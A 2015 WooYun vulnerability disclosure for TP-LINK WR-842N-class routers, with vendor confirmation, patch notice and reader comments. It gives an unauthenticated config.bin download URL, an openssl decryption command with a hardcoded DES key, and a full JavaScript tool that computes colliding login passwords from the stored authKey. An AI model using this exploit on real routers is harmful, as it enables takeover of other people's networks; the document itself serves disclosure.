当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110062

漏洞标题:全国首发TP-LINK wr-842n等多款无线路由器(新界面2015)存在多个致命漏洞

相关厂商:深圳普联技术有限公司

漏洞作者: 路人甲

提交时间:2015-04-24 16:28

修复时间:2015-07-27 17:10

公开时间:2015-07-27 17:10

漏洞类型:设计不当

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-24: 细节已通知厂商并且等待厂商处理中
2015-04-28: 厂商已经确认,细节仅向厂商公开
2015-05-01: 细节向第三方安全合作伙伴开放
2015-06-22: 细节向核心白帽子及相关领域专家公开
2015-07-02: 细节向普通白帽子公开
2015-07-12: 细节向实习白帽子公开
2015-07-27: 细节向公众公开

简要描述:

TP-LINK在2014年底发布的无线路由器(厂家称为新用户界面)存在一系列致命的漏洞。黑客可以任意下载配置文件,绕过设备认证,随意修改系统配置,造成用户敏感信息泄露,造成极大危害。

详细说明:

具体操作过程:
1.漏洞1,任意下载config.bin[路由器配置文件] 例如:http://192.168.1.1/config.bin
2.openssl enc -d -des-ecb -nopad -K 478DA50BF9E3D2CF -in config.bin
提取配置信息。
3.找到首行

authKey 0rZily4W9TefbwK

此为加密过的用户后台登陆密码。
4.漏洞2,Query.js存在算法BUG.经过研究这段加密字串“0rZily4W9TefbwK”通过用户浏览器运算生成,且存在算法漏洞。
5.加密字串虽不可逆,但存在大量碰撞,即任意字符可生成相同的加密字串。破解文件html网页格式【自行转存】。找个数据库软件,用最后生成的SQL脚本【笛卡尔积】生成的每一组字符串均可登录后台。【网页格式,代码部分另存成网页html文件】
6.wooyun我要注册会员

漏洞证明:

测试工具【网页格式,代码部分另存成网页html文件】

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>TPLINK_Auth_Key_计算器 作者:青岛小哥 email:qdpp007@outlook.com</title>
<script type="text/javascript">
function $(id)
{
return document.getElementById(id);
}
function orgAuthPwd (pwd)
{
var strDe = "RDpbLfCPsJZ7fiv"; /*字符宽度15*/
var dic = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX"+
"TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML"+
"wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3"+
"sfQ1xtXcPcf1aT303wAQhv66qzW"; /*字符宽度255*/
$('dspDic').value=dic;
$('dspPwd').value=pwd;
$('dspStrDe').value=strDe;
return securityEncode(pwd, strDe, dic);
}
function securityEncode (input1, input2, input3)
{
var dictionary = input3; /*=255*/
var output = "";
var len, len1, len2, lenDict;
var cl = 0xBB, cr = 0xBB;
len1 = input1.length; /*len1=6~15*/
len2 = input2.length; /*len2=15*/
lenDict = dictionary.length; /*lenDict=255*/
len = len1 > len2 ? len1 : len2; /*密码限定宽度最大15位,len恒等于15*/
for (var index = 0; index < len; index++) /*index= 0 to 14*/
{
cl = 0xBB;
cr = 0xBB;
if (index >= len1) /*如果密码位数=14执行1次,=15不执行,=13执行2次,=12 3,11 4,10 5,9 6...保证取所有密码字符unicode*/
{
cr = input2.charCodeAt(index);
}
else if (index >= len2) /*14>=15,永远不执行!*/
{
cl = input1.charCodeAt(index);
}
else
{
cl = input1.charCodeAt(index); /*取所有密码字符unicode,超出部分取0xBB,补足15位*/
cr = input2.charCodeAt(index); /*cr恒等于:82,68,112,98,76,102,67,80,115,74,90,55,102,105,118*/
}
output += dictionary.charAt((cl ^ cr)%lenDict); /*cl取所有密码字符unicode与cr异或mod 255*/
}
return output;
}
function lgDoSub()
{
var lgPwd = $('pwd').value;
var result;
var strAsc='';
result = orgAuthPwd(lgPwd);
for (var ix = 32 ;ix < 127;ix++) /*32~126可见字符*/
{
strAsc += String.fromCharCode(ix);
}
$('dspAsc').value=strAsc;
$('dspAuthKey').value=result;
$('dspLen').value=result.length;
}
function AuthKeyCup()
{
var arrayPasswd = new Array(15);
var passwdLen=0;
var authkey = $('authKey').value;
var strDe = "RDpbLfCPsJZ7fiv";
var dic = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX"+
"TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML"+
"wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3"+
"sfQ1xtXcPcf1aT303wAQhv66qzW"; /*字符宽度255*/
var passwd='';
for(var crIndex=0,passwdList,strComp_authkey,codeCr;crIndex<15;crIndex++)
{
passwdList='';
strComp_authkey=authkey.charAt(crIndex);
codeCr=strDe.charCodeAt(crIndex); /*cr恒等于:82,68,112,98,76,102,67,80,115,74,90,55,102,105,118*/
for(var index=32,strtmp,codeCl,strDic;index<127;index++)
{
strtmp = String.fromCharCode(index);
codeCl = strtmp.charCodeAt(0);
strDic = dic.charAt((codeCl ^ codeCr)%255);
if (strComp_authkey==strDic)
{
passwdList += strtmp;
continue;
}
}
arrayPasswd[crIndex]=passwdList;
}
for(var i=0;i<15;i++)
{
if(arrayPasswd[i].length==0)
{
passwdLen=i;
break; /*密码长度=i,密码长度=0退出外循环*/
}
else if (i==14)
{
passwdLen=15;
}
}
for(var i=0;i<passwdLen;i++)
{
passwd+=arrayPasswd[i]+'\r\n';
}
$('dspPasswd').value=passwd;
passwd='';
for(var i=0;i<passwdLen;i++)
{
passwd+="drop table t"+i+";\r\n";
passwd+="CREATE TABLE t"+i+"(pwd nvarchar(50) NULL);\r\n";
for(var j=0;j<arrayPasswd[i].length;j++)
{
passwd+="insert into t" + i + " values('" + arrayPasswd[i].substr(j,1)+"');\r\n";
}
}
passwd+="select t0.pwd,t1.pwd,t2.pwd,t3.pwd,t4.pwd,t5.pwd,t6.pwd,t7.pwd from t0,t1,t2,t3,t4,t5,t6,t7";
$('dspSql').value=passwd;
// var arrayXH = new Array(passwdLen);
// for(var j=0;j<passwdLen;j++)
// {
// arrayXH[j]=arrayPasswd[j].length;
// }
// for(var j=0;j<passwdLen;j++)
// {
// for(var k=0;k<arrayXH[j];k++)
// {
// k*10+
// }
// }
}
</script>
</head>
<body>
<span style="text-align:center">TPLINK_Auth_Key_计算器(新用户界面登录密码演算) 作者:青岛小哥 email:<a href="mailto:qdpp007@outlook.com">qdpp007@outlook.com</a></span><br />
<span style="text-align:center">免责声明:本计算器程序(方法)可能带有攻击性,仅供安全研究与教学之用,<br />用户将其信息做其他用途,由用户承担全部法律及连带责任,本人不承担任何法律及连带责任。
</span>
<form action="" method="get"><fieldset><legend>源码测试</legend>
密码[最小6位]:
<input name="pwd" type="text" id="pwd" size="15" maxlength="15" />
<input type="button" name="btnOK" id="btnOK" value="计算KEY" onclick="lgDoSub()" />
<br />
<br />
显示 pwd:
<input name="dspPwd" type="text" id="dspPwd" />
<br />
<br />
显示 strDe:
<input name="dspStrDe" type="text" id="dspStrDe" />
<br />
<br />
显示 Dic:
<textarea name="dspDic" cols="70" rows="4" id="dspDic"></textarea>
<br />
<br />
显示 ASC码表:
<textarea name="dspAsc" cols="70" rows="2" id="dspAsc"></textarea>
<br />
<br />
结果 Auth_key:
<input name="dspAuthKey" type="text" id="dspAuthKey" />
字符宽度:
<input name="dspLen" type="text" id="dspLen" size="5" />
</fieldset>
</form>
<br /><br />
<form action="" method="get">
<fieldset>
<legend>你懂得</legend>
Auth_key【演示字符19830917】:
<input name="authKey" type="text" id="authKey" value="0rZily4W9TefbwK" size="15" maxlength="15" />
<input type="button" name="btnCup" id="btnCup" value="解密KEY" onclick="AuthKeyCup()" />
15位:0rZily4W9TefbwK<br />
<br />
原始密码字符【从首行由上到下,每行任选1个字符对应密码一位,组成密码串,N行字符==N位密码】:<br />
<textarea name="dspPasswd" cols="70" rows="10" id="dspPasswd"></textarea>
<br />
<br />
数据库查询SQL:
<textarea name="dspSql" cols="70" rows="10" id="dspSql"></textarea>
</fieldset>
</form>
</body>
</html>

修复方案:

厂商修复。库函数Query.js修补。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-28 17:09

厂商回复:

最新状态:

2015-04-28:危害等级认定说明:配置文件需有线连接或无线接入的终端才能下载,有线连接是物理连接,需要能够接触到路由器实物,无线接入需要知道无线密码,从这个角度选中级。TP-LINK 已经完成对此漏洞的技术调查,并已发布升级软件解决此问题。相关软件的下载链接为:http://service.tp-link.com.cn/detail_download_2043.html 。TP-LINK始终关注技术提升和安全合作,非常感谢您的信息和沟通,我们相信在我们的共同努力下,用户将获得更为安全的互联网体验,谢谢!


漏洞评价:

评论

  1. 2015-04-24 16:29 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    跪着看这个漏洞,真帅!

  2. 2015-04-24 16:42 | mtfly ( 路人 | Rank:26 漏洞数:6 | 啥都不会)

    是那种没有默认密码的么?

  3. 2015-04-24 17:04 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @mtfly 你以为@疯狗 膝盖不值钱

  4. 2015-04-24 17:10 | conqu3r ( 普通白帽子 | Rank:156 漏洞数:21 | 没有思想,没有道德,没有自由,没有人权的...)

    没加精,关注还是不关注呢,这是个问题!

  5. 2015-04-24 17:12 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    前几天就研究csrf来了,没想到还可以这样玩

  6. 2015-04-24 18:02 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    围观

  7. 2015-04-24 18:20 | 好学 ( 路人 | Rank:16 漏洞数:9 | 暂无)

    三跪九叩看这个洞

  8. 2015-04-24 18:37 | loli 认证白帽子 ( 普通白帽子 | Rank:550 漏洞数:52 )

    没事来舔舔屏幕

  9. 2015-04-24 20:01 | 生鲜一手 ( 路人 | Rank:20 漏洞数:3 | null)

    速舔

  10. 2015-04-24 20:23 | 疏懒 ( 普通白帽子 | Rank:359 漏洞数:42 | 不能尽如人意,但求知足常乐~!)

    你以为@疯狗 膝盖不值钱

  11. 2015-04-24 20:25 | Format_smile ( 普通白帽子 | Rank:167 漏洞数:67 | ···孰能无过,谁是谁非!渗透穷三代,黑...)

    CCAV看这里!洞主666666

  12. 2015-04-24 21:13 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    我猜到洞主是谁了

  13. 2015-04-24 21:59 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    @xsser 一块钱!不能更多!

  14. 2015-04-24 22:33 | ddy ( 实习白帽子 | Rank:44 漏洞数:16 | 其实第一次要我挖洞我是拒绝的。因为,你不...)

    没加精,还是关注吧

  15. 2015-04-24 22:59 | zhuixing ( 实习白帽子 | Rank:50 漏洞数:9 | 纯纯的小白。)

    这是不是意味着水星迅捷也有同样问题,都是TP公司的东西……

  16. 2015-04-24 23:06 | d3c0de ( 路人 | Rank:4 漏洞数:2 | 专注kali linux 和无线安全等)

    为何我看不见呢,大神

  17. 2015-04-28 17:16 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    嗯 快公开

  18. 2015-05-02 19:16 | 侦探911 ( 普通白帽子 | Rank:133 漏洞数:21 | 学习)

    坐等公开

  19. 2015-05-04 17:54 | d3c0de ( 路人 | Rank:4 漏洞数:2 | 专注kali linux 和无线安全等)

    为何还没公开啊

  20. 2015-05-08 19:07 | 大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)

    @疯狗 晕,疯狗帮我看看上午哪个未审核漏洞是这个不。在农村信息好闭塞,我们这刚有这产品。

  21. 2015-05-08 19:28 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    晕 洞主是路人甲我是路人乙但是马甲丢了

  22. 2015-05-08 19:34 | 大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)

    此漏洞威武,直觉告诉我我们提交重复了。但是因为看不到漏洞详细,最终结果等乌云审核。赞一个等公开了给你评分

  23. 2015-05-08 20:44 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    马甲丢了 两个人我知道是那些大牛了

  24. 2015-05-08 22:29 | 大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)

    @scanf 就这个玩具。

  25. 2015-05-09 07:52 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    哈哈哈@大漠長河 不错呀 不过这类的漏洞是直接分析源码吗?

  26. 2015-05-10 15:12 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @大漠長河 ?

  27. 2015-05-13 10:12 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    厂商评级很中肯

  28. 2015-05-14 09:55 | 大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)

    @疯狗 我提交了一份低品质报告人丢大了。借地向乌云和相关厂商深表歉意。

  29. 2015-05-14 10:05 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @scanf 能看到源码当然更好,估计洞主也没看到源码那属于商业机密.

  30. 2015-05-14 10:25 | 大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)

    @scanf 企业级的有的BIN 文件可以看看。家用的太紧凑。不过貌似客户协议不允许逆向工程什么的。这种漏洞功能越强大的设备出现问题概率越高。好像我公开的那个漏洞就属于楼主这种。YY2012的公开报告可以给你方法论上的借鉴,楼上对受试设备的选择也值得借鉴。祝小伙伴能发表个H3C的。多多交流多多沟通。厂商的响应速度赞一个。刷路由器补丁去了。

  31. 2015-06-01 14:39 | 大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)

    存在算法漏洞。看问题的深度呀。欢迎新童鞋。新大神。膜拜。

  32. 2015-06-23 14:42 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    加密字串虽不可逆,但存在大量碰撞,即任意字符可生成相同的加密字串。破解文件html网页格式【自行转存】。找个数据库软件,用最后生成的SQL脚本【笛卡尔积】生成的每一组字符串均可登录后台。【网页格式,代码部分另存成网页html文件】

  33. 2015-07-12 22:22 | ’‘Nome ( 实习白帽子 | Rank:55 漏洞数:19 | 在此感谢 @M4sk @mango @裤裆 @泳少 @5up3r...)

    洞主,为啥742的路由不能下载配置文件呢?

  34. 2015-07-14 08:10 | 剑心 ( 实习白帽子 | Rank:37 漏洞数:9 | xsser)

    少年竟然知道笛卡尔积

  35. 2015-07-16 00:00 | d3c0de ( 路人 | Rank:4 漏洞数:2 | 专注kali linux 和无线安全等)

    我就打酱油了,还要等你吗

  36. 2015-07-27 17:28 | 住别墅de乞丐 ( 路人 | Rank:0 漏洞数:1 | 我是我,是那不一样的烟火...)

    好强大.....

  37. 2015-07-27 19:58 | 这只猪 ( 路人 | Rank:5 漏洞数:2 | 南无阿弥陀佛!)

    妈妈问我为什么跪着舔乌云

  38. 2015-07-31 08:41 | 0x334 ( 普通白帽子 | Rank:171 漏洞数:35 | 漏洞无影响,已忽略~~~~~~~)

    厂商漏掉了路由器把管理地址映射到公网的情况呀,可以去抓一下好多

  39. 2015-07-31 11:04 | Wulala ( 普通白帽子 | Rank:223 漏洞数:24 | ^..^ ^..^ ^↓^ ^..^ ^..^)

    @0x334 公网测试也存在这样的漏洞, 危害应该也算挺大的

  40. 2015-07-31 11:28 | xsser%0 ( 路人 | Rank:5 漏洞数:1 | test123)

    尼玛,我说疯狗怎么那么多赞.才知道原来手快可以点2次赞

  41. 2015-08-01 11:17 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    TP-LINK wr-882n 怎么破路由密码

  42. 2015-08-02 21:29 | 不能忍 ( 实习白帽子 | Rank:32 漏洞数:16 | 不要关注我,给我钱就好。)

    我要把你上交给国家!

  43. 2015-08-03 09:30 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @xsser%0 偶知道洞主是谁(乌云id)

  44. 2015-08-03 17:47 | 番茄师傅 ( 普通白帽子 | Rank:254 漏洞数:59 | http://www.tomatoyu.com/)

    这个洞只给10 ? 那是不是程序员的老婆被黑了才是20?

  45. 2015-08-06 10:41 | M-7N10 ( 路人 | Rank:13 漏洞数:3 | 来学习的 。)

    测试可行,给跪了!

  46. 2015-08-06 20:12 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @j2ck3r 看测试代码@疯狗 我社区很乖为啥被封杀了

  47. 2015-08-06 21:25 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    @abaddon 882n型号不能利用这个漏洞,

  48. 2015-09-19 08:57 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @j2ck3r 可能是你的产品下线晚吧,版本比这个高,感觉这个问题可能不仅限于同一个型号,和洞主真是有缘分,居然能瞎猫碰死耗子发现这问题,只是没有你分析的深刻,学习了。给的少点.